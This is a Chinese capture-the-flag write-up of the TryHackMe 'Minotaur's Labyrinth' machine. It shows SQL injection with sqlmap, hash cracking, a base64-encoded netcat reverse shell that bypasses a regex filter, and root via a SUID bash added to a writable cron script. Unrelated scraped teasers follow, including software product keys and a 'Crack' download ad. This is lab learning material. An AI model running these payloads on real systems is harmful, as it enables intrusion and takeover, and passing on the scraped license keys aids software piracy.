TryHackMe-Minotaur‘s_Labyrinth
Minotaur’s Labyrinth
嗨,是我,代达罗斯,迷宫的创造者。我能够 实现一些后门,但牛头怪能够(部分)修复它们 (这是一个秘密,所以不要告诉任何人)。但是让我们回到你的任务,扎根这台机器,给牛头怪一个教训。
注意,如果您也正在做这道题,那么建议不要跟着我的思路来做,因为会走很多弯路和出很多问题,但是您可以看看我是如何从弯路又兜回来,并且发现一些有意思的东西的
端口扫描
循例 nmap 扫:
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
443/tcp open https
3306/tcp open mysql
ftp枚举
┌──(root🐦kali)-[/home/sugobet]
└─# ftp anonymous@10.10.195.127
有一个message文件
ftp> ls
229 Entering Extended Passive Mode (|||1406|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x 3 nobody nogroup 4096 Jun 15 2021 pub
226 Transfer complete
ftp> ls ./pub
229 Entering Extended Passive Mode (|||40538|)
150 Opening ASCII mode data connection for file list
-rw-r--r-- 1 root root 141 Jun 15 2021 message.txt
226 Transfer complete
该文件内容:
Daedalus is a clumsy person, he forgets a lot of things arount the labyrinth, have a look around, maybe you'll find something :)
-- Minotaur
可能遗漏了些什么
ftp> ls -la
229 Entering Extended Passive Mode (|||6710|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x 3 nobody nogroup 4096 Jun 15 2021 .
drwxr-xr-x 3 root root 4096 Jun 15 2021 ..
drwxr-xr-x 2 root root 4096 Jun 15 2021 .secret
-rw-r--r-- 1 root root 141 Jun 15 2021 message.txt
226 Transfer complete
./.secret文件夹:
ftp> ls -la
229 Entering Extended Passive Mode (|||16813|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x 2 root root 4096 Jun 15 2021 .
drwxr-xr-x 3 nobody nogroup 4096 Jun 15 2021 ..
-rw-r--r-- 1 root root 30 Jun 15 2021 flag.txt
-rw-r--r-- 1 root root 114 Jun 15 2021 keep_in_mind.txt
flag.txt是flag1
keep_in_mind.txt:
Not to forget, he forgets a lot of stuff, that's why he likes to keep things on a timer ... literally
-- Minotaur
Web枚举
进web一看,又是登录页面
gobuster扫,报错:
Error: the server returns a status code that matches the provided options for non existing urls. http://10.10.195.127/145874a6-07ba-4abc-8b0e-733d3263810c => 302 (Length: 3562). To continue please exclude the status code or the length
我发现如果进入一个不存在的页面,始终会302跳转到login页面
使用-b选项将Negative Status codes改302
┌──(root🐦kali)-[/home/sugobet]
└─# gobuster dir --url http://10.10.195.127/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -b 302
login页面的“Click here for root flag”:
是两哥们的推特
gobuster扫描结果:
/api (Status: 301) [Size: 233] [--> http://10.10.195.127/api/]
/cgi-bin/ (Status: 403) [Size: 1035]
/css (Status: 301) [Size: 233] [--> http://10.10.195.127/css/]
/imgs (Status: 301) [Size: 234] [--> http://10.10.195.127/imgs/]
/js (Status: 301) [Size: 232] [--> http://10.10.195.127/js/]
/logs (Status: 301) [Size: 234] [--> http://10.10.195.127/logs/]
/phpmyadmin (Status: 403) [Size: 1190]
/api下是一些增删查改的php文件
/logs下有一个post文件夹,里面有一个日志文件:
POST /minotaur/minotaur-box/login.php HTTP/1.1
...email=Daedalus&password=g2e5*******5r
看到有明文的用户名和密码,注意请求的路径是:
/minotaur/minotaur-box/login.php
我们在浏览器中直接打开,然后使用burp改包
get改post,将
email=Daedalus&password=g2e5*******5r
添加进去,然后放行,发现有登录成功的响应
但是发现每个相应都是302重定向:
Location: login.html
导致浏览器一直无限重定向到login.html
burp登场
一开始我尝试拦截响应,并删除location字段,
万万没想到它是每一个请求,得到的响应都是302跳转
现在我们可以通过burp的“匹配和过滤”功能来自动的帮助我们删除所有响应的location字段
Proxy -> Options -> Match And Replace新增 -> 类型选择response header
match 写入内容: ^Location.*$
剩下的可以不用填然后勾选Regex match,点OK
启用这条rule
接下来的每一个响应,burp将自动为我们删除location字段
此时再次访问:
http://10.10.195.127/minotaur/minotaur-box/login.html
成功显示页面
SQL Injection
进到后台有一个查询框,但是无法正常使用,查看源代码,发现userlvl.js,还记得根目录下的js目录吗,在这里
http://10.10.195.127/js/userlvl.js<!-- Minotaur!!! Told you not to keep permissions in the same shelf as all the others especially if the permission is equal to admin -->
userlvl.js关键代码:
if(table_input == "people"){// console.log("PEOPLE")$.ajax({url: `api/${table_input}/search`,type: 'POST',dataType: "json",data: { "namePeople": `${name_input}` },} else if (table_input == "creatures") {
// console.log("CREATURES")$.ajax({url: `api/${table_input}/search`,type: 'POST',dataType: "json",data: { "nameCreature": `${name_input}` },
我们可以很轻松通过burp来伪造请求
首先在浏览器访问:
http://10.10.195.127/api/people/search
然后burp抓包改包,get改post,按照上面代码来操作
POST /api/creatures/search HTTP/1.1
nameCreature=1' or sleep(3);--
成功延迟,存在sql注入
在burp将请求保存成文件
使用sqlmap -r 识别该文件并进行sql注入
┌──(root🐦kali)-[/home/sugobet]
└─# sqlmap -r ./req --dbsavailable databases [6]:
[*] information_schema
[*] labyrinth
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] test
然后常规操作:
sqlmap -r ./req -D labyrinth --tables
sqlmap -r ./req -D labyrinth -T people --columns --dump
密码爆破
发现admin的账号和疑似md5加密的密码
| 5 | M!n0taur | 1765db94********09ee81fbda4 | admin |
使用hashcat尝试一下:
┌──(root🐦kali)-[/home/sugobet]
└─# hashcat -a 0 -m 0 '1765db9457f496a39859209ee81fbda4' /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting1765db94*********09ee81fbda4:ami*****uro
爆出来了,前几道题都爆不出来,害我数据库一顿找
难道,我错了吗?
到这里又卡住了,因为我发现前面的登录都是白瞎,后台甚至不用登录都能访问,js未被正常加载
这些问题在开头就引起我的注意了,但我没有去理会,现在我尝试登录管理员账号,登录结果与之前的一样,我知道,麻烦来了
最后我没办法,根本不知道这靶机怎么个回事,只好看wp了
http://10.10.195.127/echo.php?search=
这里可以执行命令
早知道在前面使用gobuster根目录的时候加上 -x php 了
对与错,不是绝对的 - 峰回路转
虽然我前面所作的一切貌似都有问题,但是这也让我意外的发现
只要我们使用burp禁止302跳转,我们就可以越权访问任何页面!!!
为什么这么说,因为当我关掉burp抓包之后,我发现echo.php跳转到了login.html
但是神奇的是,echo.php的页面内容已经包含在了响应当中,只要我们禁止302跳转,浏览器即可正常解析渲染出来该页面内容
这也就是为什么之前我能够进入后台,其实我之前压根没登录成功,只是因为我禁止了302跳转
Reverse shell
好,我们继续使用我刚刚的方法禁止302跳转
继续越权访问echo.php
You really think this is gonna be possible i fixed this @Deadalus -_- !!!?
有黑名单
题目有提示:
this is the regex used: /[#!@%^&*()$_=\[\]\';,{}:>?~\\\\]/
将payload进行base64:
echo 'mkfifo /tmp/f1;nc 10.14.39.48 8888 < /tmp/f1 | /bin/bash > /tmp/f1;' | base64
这里要把等号删掉,因为已经过滤了等号
payload:| echo <b64 code> | base64 -d | bash
开启nc监听
成功getshell
daemon@labyrinth:/opt/lampp/htdocs$ id
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
user.txt:
daemon@labyrinth:/opt/lampp/htdocs$ cat /home/user/flag.txt
cat /home/user/flag.txt
fla9{5upe********laG}
寻找缺失的flag2
在网站根目录一顿看,最终跟踪到index.php发现了flag2:
echo "<li class='nav-item'><a class='nav-link' href=''>fla6{7H@T*********149}</a>
在根目录下发现了:
daemon@labyrinth:/timers$ ls -la
ls -la
total 12
drwxrwxrwx 2 root root 4096 jún 15 2021 .
drwxr-xr-x 26 root root 4096 nov 9 2021 ..
-rwxrwxrwx 1 root root 70 jún 15 2021 timer.sh
这对应上了在开头ftp获得的那些信息
timer.sh:
#!/bin/bash
echo "dont fo...forge...ttt" >> /reminders/dontforget.txt
再看看dontforget.txt:
daemon@labyrinth:/timers$ ls -la /reminders/dontforget.txt
ls -la /reminders/dontforget.txt
-rw-r--r-- 1 root root 41628 jan 16 10:24 /reminders/dontforget.txt
daemon@labyrinth:/timers$ cat /reminders/dontforget.txt
cat /reminders/dontforget.txt
dont fo...forge...ttt
dont fo...forge...ttt
dont fo...forge...ttt
......
刷了一大堆,并且还看到txt一直在被修改,那么很明显,timer.sh是定时任务
我们有权修改,以此获得带suid的bash:
daemon@labyrinth:/timers$ echo "cp /bin/bash /tmp/bash;chmod +s /tmp/bash" >> ./timer.sh
/tmp/bash
daemon@labyrinth:/timers$ ls -la /tmp/bash
ls -la /tmp/bash
-rwsr-sr-x 1 root root 1113504 jan 16 10:29 /tmp/bash
daemon@labyrinth:/timers$ /tmp/bash -p
/tmp/bash -p
bash-4.4# id
id
uid=1(daemon) gid=1(daemon) euid=0(root) egid=0(root) groups=0(root),1(daemon)
成功getroot
root.txt:
bash-4.4# cat /root/da_king_flek.txt
cat /root/da_king_flek.txt
fL4G{YoU_*******9ra7$}
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.exyb.cn/news/show-4503528.html
如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!2013中国互联网安全大会---关于赵粮老师的分享
昨天有幸参加了2013中国互联网安全大会,听了“云计算安全论坛”的几场演讲,把一些心得和大家分享一下: 大会安排: 第一个我想分享的是关于赵粮老师的演讲 1、google trends[http://www.google.com/trends/]查询搜索的趋势&#…...

基于AI的4G/5G基站节能的智能解决方案
随着移动通信网络建设规模逐年增加,通信设备对能源的需求与日俱增,移动通信网络的能耗在运营商的运营成本(OPEX,Operating Expense)占比已高于15%。经过5G试商用网络的测试验证,5G单站功耗是4G单站功耗的3~4倍,运营商面…...

模拟电路:二极管及其模型
理想二极管 我们需要有一种元器件:可以使得正电压通过,负电压通过不了,理想二极管就是这样的一个器件,理想二极管有两个极,分别是阴极(cathode)和阳极(anode) 理想二极…...

像素和分辨率的关系
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录像素和分辨率一、图片的像素二、显示屏的分辨率三、相机里图片的尺寸四、像素点里面还有什么五、像素值和最终打印出相片大小的关系像素和分辨率 像素用于对图片的描…...
SQL Server 中 GO 的用法
本科里学了那么多年SQL Server一直看到书上各种SQL语句中间夹杂着那么几个看似毫无意义的GO,看着就让人莫名,问老师,老师一般只会告诉你,不要理他,这个东西没用的。但是个性纠结并且有轻微强迫症的博主我是不能容忍这种…...

C++解决钢条切割问题【动态规划】
问题描述: 给定一根长度为 lll 的钢条(l<10000)(l<10000)(l<10000),以及一张价格表,请计算这根钢条能卖出的最大总收益。 价格表表示为 (li,pi)(l_i, p_i)(li,pi),1<i<k1<i<k1<i<k。 不在价格表中…...

计算机毕业设计ssm+vue基本微信小程序的心理服务平台 uniapp 小程序
项目介绍 随着计算机技术的发展,带来社会各行业的进步,信息化逐渐运用到人们的生活中。传统模式的青少年心理健康管理满足不了现代人的生活追求,服务质量、服务速度,之前的很多网站由于功能、或者框架设计等原因,无法完美的展现它的特色,优势,浪费了很多资源。使用管理系统进行…...

像素与DPI之间的关系
先说像素。像素是电子图像组成的基本单位,将图像放大数倍,会发现图像是由一个个“小色块”紧密排列组成的,每一个“小色块”就是一个像素点。 也就是说,每个图像都是由n多个像素点组成。 再说分辨率。所谓分辨率,指的是…...

数据结构C语言版(李云清)代码
数据结构C语言版(李云清) 包含实验代码以及相关PPT参考学习 链接:https://pan.baidu.com/s/16OHNCmCBdNq29A1l_438Qw 提取码:anhudQ(自己尝试解密吧~)...

群晖Nas通过jellyfin搭建本地影音库详细全过程(一):通过群晖系统docker容器安装jellyfin影音库服务器
前言:最近入手了一个星际蜗牛的矿机,想把它用作一个nas来搭建本地化的影音库,试过免费版的plex和黑群晖自带的video station之后,最终还是觉得jellyfin是免费里面用的最爽的,本系列文章会讲一下详细教程和遇到的很多问…...

Kibana - KQL语法
官方文档: https://www.elastic.co/guide/en/kibana/7.17/kuery-query.html KQL:(Kibana Query Language )查询语法是Kibana为了简化ES查询设计的一套简单查询语法,Kibana支持索引字段和语法补全,可以非常方…...

Go 语言中 Unsafe 包的用法
- 后端早读课翻译计划 第三篇- - 翻译自: a-journey-with-go 欢迎关注微信公众号: 后端早读课 本文列举在 Golang 中 unsafe 的一般用法,以及提供给开发者的一些建议。 ℹ️ 本文基于 Go 1.12 版本。 这个 Package 的名字其实已经告诉了我…...

各种序列号大全收集
以下序列号都是本人测试并使用通过的. 保证可用. Microsoft Visual Studio 2010 企业版、旗舰版都适用 YCFHQ-9DWCY-DKV88-T2TMH-G7BHP Visual Studio 2008 XMQ2Y-4T3V6-XJ48Y-D3K2V-6C4WT Windows XP SP3 MRX3F-47B9T-2487J-KWKMF-RPWBY Windows Server 2003 SP2 …...

计算机毕业设计Java校园任务发布系统(系统+源码+mysql数据库+lw文档)
计算机毕业设计Java校园任务发布系统(系统源码mysql数据库lw文档) 计算机毕业设计Java校园任务发布系统(系统源码mysql数据库lw文档)最新计算机专业毕业设计选题,均有源码,是近期作品, 免费赠送本源代码、数据库,请私信 【1】JSP基于JSP的美…...

opencv将透明PNG图片填充为白色背景
本篇博客介绍使用两种方式来实现将透明PNG图片填充为白色背景。 第一种方法: 代码: #include<opencv2/imgproc/imgproc.hpp> #include<opencv2/highgui/highgui.hpp> using namespace cv;int i, j;Mat overlayImage(const Mat &background, const Mat &…...

优秀项目经理如何从容管理项目?
项目经理要带领项目团队建设好一个项目,所需要关注和落实的事情很多,如果从时间管理方面来说,项目经理既需要管理好项目团队成员的时间,同时也需要管理好项目经理自己的时间,两方面缺一不可。由于项目团队成员的工作比…...

【C++】链表反转逆序|建立、删除、修改、插入|linux内核链表与普通链表
目录 C实现链表逆序 链表的建立、删除、修改、插入 linux内核链表与普通链表 C实现链表逆序 实现链表逆序,首先要有一个链表,下面是链表的结构体: typedef struct listnode {int data;struct listnode* next; }listnode , *list; 实现…...

java使用水晶报表,java水晶报表实例教程
Java水晶报表 目录 ? ? ? 水晶报表开发(CrystalReports 2008) Java水晶报表(JBuilder 2005) 报表项目布署(WebSphere v6.1) 水晶报表开发 ? ? Crystal Reports ......可以方便地在任何应用程序中添加 报表,如:java、.net Crystal R...CrystalReport水晶报表详细教程_计算机…...

三万字Javaweb教程
javaweb1、基本概念1.1、前言1.2、web应用程序1.3、静态web1.4、动态web2、web服务器2.1、技术讲解2.2、web服务器3、Tomcat3.1、 安装tomcat3.2、Tomcat启动和配置3.3、配置高难度面试题:3.4、发布一个web网站4、Http4.1、什么是HTTP4.2、两个时代4.3、Http请求1、…...

vc2005运行库彻底卸载_VC运行库安装卸载工具-Visual C ++ AIO(VC运行库安装卸载工具)下载 v2019.05.21官方版--pc6下载站...
VisualCAIOVC运行库安装卸载工具包含了所有VisualC最新版,可以通过命令行静默安装,可以卸载所有已安装版本及更新为最新版,总之这是一个不错的VisualC运行库安装卸载程序。。相关软件软件大小版本说明下载地址Visual C AIO(VC运行库安装卸载…...

云原生核心技术之:Service Mesh(服务网格)
导言: 在复杂业务的后端服务开发中,拆分出的微服务往往是数十个、上百个,即使用上了容器技术方便了其打包部署,使用了 Kubernetes 进行便捷的容器编排管理,但众多微服务之间往往涉及到复杂的业务通信和服务治理场景。…...

kali 设置中文字体
kali设置中文字体 # 安装中文字体 sudo apt-get install ttf-wqy-zenhei# 设置系统配置 sudo dpkg-reconfigure locales重启系统即可…...

vscode多行注释
vscode写Python代码多行注释 方法一: 选中多行,按AltShiftA,如果想要取消这些行的注释,再次按AltShiftA。 方法二: 选中多行,先按Ctrlk,再按Ctrlc,如果想要取消多行注释࿰…...

本人学习中遇到的Java Web 中文乱码问题
本人初学,如有问题欢迎指正 教材《Java Web程序设计(第3版)》主编:郭克华 第8章 JSP内置对象(2)P129-P131 所示代码: //获得书名String bookrequest.getParameter("book");if(boo…...

建设一个小型网站并投入运行
大体流程: 1.写一个网站程序,主体 2.放到服务器中投入运行 3.优化tomact服务器 4.考虑负载均衡,引入nginx 5.通过内网穿透,让所有人都可以访问 6.关于服务器的维护 今天介绍linux系统部署web项目。 web项目,ne…...

Arduino实验三十四 震动开关实验实验
学习任务: 学会使用震动开关 组件: Arduion主板震动开关USB数据线 下图是震动开关 实验步骤: 1.建立电路 Arduion震动开关8D0GNDGND5vVCC 2.烧录代码 const int vibswPin 8; const int ledPin 13; int val 0; void setup() {pinMo…...

Matlab图形绘制(四)极坐标图形(polar)、双轴对数坐标图形(loglog)、单轴对数坐标图形(semilogx)
文章目录1.极坐标图形(polar函数)2. 用双轴对数坐标绘制 yx*3^x‐30 的图形3.绘制数据向量的单轴对数坐标图形1.极坐标图形(polar函数) polar函数说明: polar 函数接受极坐标,对这些数据在笛卡尔平面中绘图…...

js 控制页面显示隐藏会闪一下解决方案
问题描述:页面分为几个区域块,需要在点击某个按钮或者区域,来控制页面上的区域块显示隐藏。给元素上定义点击事件,根据自定义逻辑控制页面区域显示的时候,页面被隐藏的区域会出现一下,然后被隐藏࿰…...

2014中国互联网安全大会(ISC)开幕,沃通与您共襄安全盛会
由中国互联网协会(ISC)、国家计算机网络应急技术处理协调中心(CNCERT/CC)、国家计算机病毒应急处理中心及中国信息安全测评中心指导,360 互联网安全中心、中国互联网协会网络与信息安全工作委…...

【VR开发】HTC Vive开发环境SteamVR配置
文章目录1、简介1.1 Steam2.2 SteamR2、下载和安装Steam3、注册和登陆Steam4、下载和安装SteamVR5、配置SteamVR结语1、简介 1.1 Steam https://store.steampowered.com/about/ Steam平台是Valve公司聘请BitTorrent(BT下载)开发者布拉姆科恩亲自开发设计的游戏和软件平台。 …...

Ubuntu设置时区(比如从PST设置为CST)
文章目录前言环境方案小结参考文献前言 创作开始时间:2021年12月14日19:13:39 如题,本文给出如何在ubuntu上设置自己想要的时区的方法(一次修改即可全局生效)。 环境 优麒麟(实际上也是ubuntu的一种,用…...
光耦隔离器
一般控制电路的电压都是低电压,但外接的设备往往是比较复杂的,电压较高,且带有较大干扰,所以通常不管是在输入端还是输出端,都需要加一些隔离电路,防止外界的尖峰脉冲信号毁坏控制电路,例如本文…...

Altova MissionKit Enterprise 2023 SP1 Crack
屡获殊荣的 XML、JSON、SQL 和 UML 工具套件 以低于 2 个的价格获得 7 个 XML、JSON SQL 和 UML 工具! Altova MissionKit 是面向信息架构师和应用程序开发人员的企业级 XML、JSON、SQL 和 UML 工具的软件开发套件。MissionKit 包括 Altova XMLSpy、MapForce、Styl…...

这些朋友更适合苹果电脑,你了解吗?
苹果mac好用吗?对macos系统神往,想入手却被网上苹果电脑否定派劝退? 近年来,购买Mac的人数不断上升,而且多数的购买者对于Mac都是报以肯定的态度,认为Mac很好用,配得起它昂贵的价格。 但是&am…...

像素和Dpi的关系
DPI就是DOT PER INCH 每英寸象素数 1英寸2.54厘米 不是说600万象素用多少DPI打,一般照片的DPI都是固定的,比如大多数机器都设定为72,那么600万象素的照片长是3400象素,每英寸72象素,那么打印出来就是长47英寸,合119厘米,大约1.2米,明白了哦?很大的一副画呢,当然这也…...

分辨率、Dpi 的关系
概念:分辨率,指的是图像或者显示屏在长和宽上各拥有的像素个数。比如一张照片分辨率为1920x1080,意思是这张照片是由横向1920个像素点和纵向1080个像素点构成,一共包含了1920x1080个像素点。dpi是分辨率的表示单位之一。它是英文D…...

基于jsp的中学班级信息管理系统
该中学类班级管理系统包括了学生信息管理、学生成绩管理、学生出勤率管理、教师信息管理和班级课程管理等主要管理模块,是一个相对全面且通用的班级系统,系统开发技术有Myeclipse,tomcat,mysql,mysql,有开题报告,配套论文等. (1)该班级管理系统可以实现用户的身份管…...

dpi和ppi换算_屏幕尺寸,分辨率,像素,ppi,dpi的关系
前言下图是苹果官方对iPhone 机型的介绍:拿iPhone7 Plus来说:屏幕尺寸:5.5英寸手机分辨率(像素):1920 (高)x 1080(宽)PPI:401概念说明屏幕尺寸:表示手机屏幕对角线的长度,单位是英寸。1英寸(inc…...

原码和补码定义和运算
在一般算术表示中使用“”和“-”来表示正数和负数,而在计算机中使用“0”和“1”来表示正数和负数。 用“”或“-”表示正负的数叫真值,用“0”或“1”表示正负的数叫机器数,在本文中可以理解为原码。 带符号的机器数可以用原码、补码、反码…...

kafka常见命令介绍和使用
首先通过这个命令什么也不加参数可以看到参数的详解 ./kafka-topics.sh创建一个topic基本参数 连接kafka : --zookeeper 操作一个topic : --topic 对一个topic进行什么样的操作?增–create删–delete改–alter查–describe 指定分区数:–par…...

模块使用——震动开关模块
模块实物 模块电路图 模块使用说明 用途: 用于各种震动触发作用,报盗报警,智能小车,地震报警,摩托车报警等。 模块特色: 1、采用本公司生产的S W-420常闭型震动传感器,。 2、比较器输出,信号干净,波形好,驱动能力强,超过15mA3、工作电压3.3V-5V 4、 输出形式:数字开关量…...

关系的完整性-参照完整性
(首先理解弄透实体完整性,实体完整性规则是最好理解的,再来理解参照完整性就不难了) 2.参照完整性 现实世界中的实体之间往往存在某种联系,在关系模型中实体及实体间的联系都是用关系来描述的,这样就自然存…...

若依多租户集成浅析(基于数据源隔离)
背景 这边有个做 saas 化应用的需求,要求做到数据源级别隔离,选了 RuoyiCRM: 基于若依Vue平台搭建的多租户独立数据库CRM系统, 项目不断迭代中。欢迎提BUG交流~ (gitee.com) 这个项目做分析 先放一下码云上作者画的图,后面我把整…...

mysql实体完整性实现方法_MySQL数据库——数据完整性(实体完整性、域完整性、参照完整性)...
数据完整性的概念数据完整性是为了保证插入到数据库中的数据是正确的,防止用户可能的错误输入。数据完整性分为实体完整性、域完整性、参照完整性。实体(行)完整性实体完整性中的实体指的是表中的行,因为一行记录对应一个实体。实体完整性规定表的一行在表中是唯一的实体,不能出…...

服务器使用显示器的大小,别纠结了!看完这篇你就知道显示器买多大尺寸
【中关村在线显示器频道原创】华丽的巨屏,清晰细腻的视觉质感,再辅以唯美大气的工业设计元素,这是有品位有追求的用户所热切追求的。毫无疑问,包括手机、显示器、电视等的显示行业已经进入了“大屏时代”。别纠结了!看…...

Day29-自定义异常
自定义异常 使用Java内置的异常类可以描述在编程时出现的大部分异常情况。除此之外,用户还可以自定义异常。用户自定义异常类,只需继承Exception类即可。 在程序中使用自定义异常类,大体可分为以下几个步骤: 1.创建自定义异常类。 2.在方法…...

毫秒值转换为天、小时、分、秒
毫秒值转换为天、小时、分、秒 将毫秒数或两个日期类型数转换为天小时分秒的方法,在进行时间段计算时应该经常用到。 记得有一道ACM题就是从一个计时方法A转换为另一个计时方法B,思路如下: 总时间不会变,1s就是1s,只…...

PS设计字体
PS设计字体 姓名:蒋林松 日期:2019年5月3日 大家看到这个标题就会在想它到底设计的是什么字体呢,要是学会了我就可以那我设计的字体去炫耀,其实呢我们也是没事做就在看ps里面那些工具有什么功能,我玩了半天才知道有一个…...

如何书写UserCase
什么是Use Case 用例描述文档的书写是系统分析人员对用户需求的深刻理解的体现。是后期时序图和实际开发的重要依据。也可以对作为项目估算的依据,以及根据UC复杂度和开发周期来衡量开发人员的工作效率。因此UC的书写规范及其重要,就工作用的一些经验&am…...

如何对手机进行软件测试?
手机软件测试其实分很多种。比如说: 集成版上的IT测试, 对日的事业者测试, ST(系统)测试, 协议测试(一般针对3G手机的多媒体画质和视频电话), 底层的基站相关的测试&…...

Github Git彻底删除历史提交记录的方法
Github Git彻底删除历史提交记录的方法 git reset --hard HEAD^ git push --force...
2015网络安全大会-上
大会介绍 中国网络安全大会是在国家信息安全办指导下,由赛可达实验室-西海岸实验室(中国)联合国内外众多具有影响力的行业协会、机构等单位共同主办的综合性行业会议,每年举办一届。 今年的中国网络安全大会主题和去年的主题相同…...
印度手机市场再现变局,OPPO首次夺下印度智能手机市场第一名
市调机构Canalys公布的数据显示,三季度OPPO和realme(realme独立运营,不过它与OPPO同属欧加控股)在印度智能手机市场合计占有29.5%的市场份额,超过小米夺下了印度智能手机市场份额第一名。据Canalys公布的这份数据&…...
2013中国互联网安全大会---关于季昕华老师的分享(不喜请勿入!)
不喜请勿入,没必要进来踩! 季老师的演讲很精彩,其中有两个点比较吸引我: 第一:基于Sdn的迁移和网络安全。这一点,主要是说从主机安全到SDN迁移的时候的机会和遇到的问题,通过SDN我们可以控制数…...
损失函数作用
前言:损失函数是机器学习里最基础也是最为关键的一个要素,通过对损失函数的定义、优化,就可以衍生到我们现在常用的机器学习等算法中损失函数的作用:衡量模型模型预测的好坏。正文:首先我们假设要预测一个公司某商品的…...

服务框架Dubbo和ZooKeeper
文章目录一.Dubbo框架(远程过程调用)1.分布式系统中的相关概念2.Dubbo概述3.Dubbo快速入门4.Dubbo高级特性二.ZooKeeper框架(分布式协调服务)1.ZooKeeper主要功能1.1 配置管理1.2 分布式锁1.3 集群管理2.ZooKeeper命令操作2.1 Zoo…...

解 减时间复杂度
又是一个能让人眼前一亮的题,解的时候qiuqiu带感 一串整数a[1]…a[n],求子序列最大和,让算法复杂度最理想 plan A 一个想出来难度不高的算法 按照题目要求推 需要三次循环,复杂度为O(n^3),显然不是最优解 光荣下…...

网格是什么?
网格是什么? 短短的几十年,互联网给人类带来了翻天覆地的变化,它自身也走过了三个里程碑。传统的互联网是将世界上的计算机硬件连通,而万维网是实现了网页的连通,将各种信息资源连接起来,由硬件相连的因…...

python 绘制对数坐标散点图
import os import networkx as nx import matplotlib.pyplot as plt import math import numpy as npBA nx.random_graphs.barabasi_albert_graph(5000, 3)degree nx.degree_histogram(BA) #生成x轴序列,从1到最大度 x range(len(degree)) #将频次转换为频率 y …...
Python3实现常用数据标准化方法
数据标准化是机器学习、数据挖掘中常用的一种方法。包括我自己在做深度学习方面的研究时,数据标准化是最基本的一个步骤。数据标准化主要是应对特征向量中数据很分散的情况,防止小数据被大数据(绝对值)吞并的情况。另外࿰…...

八方面入手规范IT管理
八方面入手规范IT管理(实例啊~有借鉴意义)IT部门本身管理不好,就不可能为业务部门提供满意的IT服务,业务部门对IT部门的满意度就会低,满意度低又会影响IT投资及新项目的开展,使IT部门陷入困境。…...
“后疫情时代”的数字化进阶之路,致敬IT英雄
点击上方关注我们!2020年的“春天”比以往时候都来得更晚一些不期而至的“黑天鹅”曾让焦虑、担心蔓延但也让爱心、关怀更广泛地传递后疫情时代复工复产如何加快实现“新基建”的助力如何引导经济重回正轨工作、生活已是“新常态”教育、医疗、办公……云上行这些都离不开“IT新…...

IT管理
IT部门本身管理不好,就不可能为业务部门提供满意的IT服务,业务部门对IT部门的满意度就会低,满意度低又会影响IT投资及新项目的开展,使IT部门陷入困境。所以建立高效的组织和形成规范高效的IT服务 管理机制,是CIO走向…...

c语言中逗号运算符用法
逗号运算符 **多个表达式可以用逗号运算符分开,其中逗号分开的表达式的值分别计算,但整个表达式的值是最后一个表达式的值。**什么叫整个表达式,狭义的就是用括号将逗号隔开的整个表达式。 逗号运算法是一个最低优先级的运算符号,…...

JS逗号运算符的用法详解
一、逗号运算符的特性及作用 逗号运算符的作用是将若干表达式连接起来。它的优先级别在所有运算符中是最低的,结合方向是"自左至右"的。 (即:逗号运算符:是按顺序执行表达式,并且获得右边表达式的值。&#…...

php字符串替换多余逗号_php怎么去除逗号
php去除逗号的方法:首先创建一个PHP示例文件;然后输入语句为“$str 123,23,56;echo str_replace(,, , $str);”;最后执行该文件即可实现去除逗号。php去除全部逗号代码方法:<?php $str 123,23,56;echo str_replace(,, , $st…...

mysql 去除逗号_mysql注入之过滤逗号
1.联合查询无逗号语句:http://127.0.0.1/sqli-labs-master/Less-2/?id-2 union select * from ( (select user())a JOIN (select version())b JOIN (select database())c ) -- - //我们分别查询user(),version(),database()说明后面两个字段…...

c语言 for循环 逗号,vs中for语句中的逗号怎么使用?
Visual Studio 2015中的for循环语句还可以使用逗号,该怎么使用逗号呢?下面我们就来看看详细的教程。软件名称:Visual Studio 2015 简体中文正式版(企业版)软件大小:4.5GB更新时间:2016-09-17立即下载首先,定…...

print命令和逗号使用
1、程序,输入姓名print "Enter your name" someNomeraw_input() 结果: Enter your name xiao 2、如果想输出如下的样子,应如何编写,Enter your name xiaoprint "Enter your name", someNomeraw_input() 在p…...

MySQL不使用逗号_MYSQL在group by语句中使用AND而不是逗号
使用AND有什么区别SELECTid, textFROMtableGROUP BY id and text并使用逗号,SELECTid, textFROMtableGROUP BY id, text如果它们具有其中一个元素,它会将事物分组在一起.IEa,aa,bb,bb,bx,z使用和返回a,ax,z使用,返回a,aa,bb,bx,z这个的目的是什么,为什么会使用它?解…...

mysql 逗号连接,MySQL使用逗号分隔列表-连接表
I have a Junction table with ProductID and Accessory column:TABLE1ProductID Accessory1 21 32 12 42 534 15 2It means that for the ProductID 2, it has the Accessory ProductIDs 1,4 and 5 ...and i have THE TABLE 2 below which look like thisTHE GRP and Product...

HTML代码中中逗号和句号怎么写,逗号和句号的用法
逗号和句号的用法2019-09-24 14:14:40文/宋则贤逗号最常用的用法表示一句话中的一般性停顿,当一句话的意思或内容没有写完,就用逗号。句号用在一般单句的末尾,省略句末尾,无主句的句末尾等。逗号的用法1.句子内部主语与谓语之间如…...

php 逗号运算符,c语言逗号运算符怎么使用
c语言逗号运算符的使用方法:当顺序点用,结合顺序是从左至右,用来顺序求值,完毕之后整个表达式的值是最后一个表达式的值。本文操作环境:Windows7系统,Dell G3电脑。c语言逗号运算符的使用方法:一…...

C中 逗号的用法
1.用来分隔符 .如下面的printf(); 2.用来运算 左往右运算,取最右边的值 所以输出c7...

C语言逗号运算符用法
在C语言中逗号“,”也是一种运算符,称为逗号运算符。 其功能是把两个表达式连接起来组成一个表达式, 称为逗号表达式。其一般形式为:表达式1, 表达式2其求值过程是分别求两个表达式的值,并以表达式2的值作为整个逗号表达式的值。…...

JavaScript中的逗号操作符(基础使用和拓展用法)
一、逗号操作符的基础用法 逗号操作符可以用来在一条语句中执行多个操作,如下所示: 在一条语句中同时声明多个变量是逗号操作符最常用的场景。不过,也可以使用逗号操作符来辅助 赋值。在赋值时使用逗号操作符分隔值,最终会返回表…...

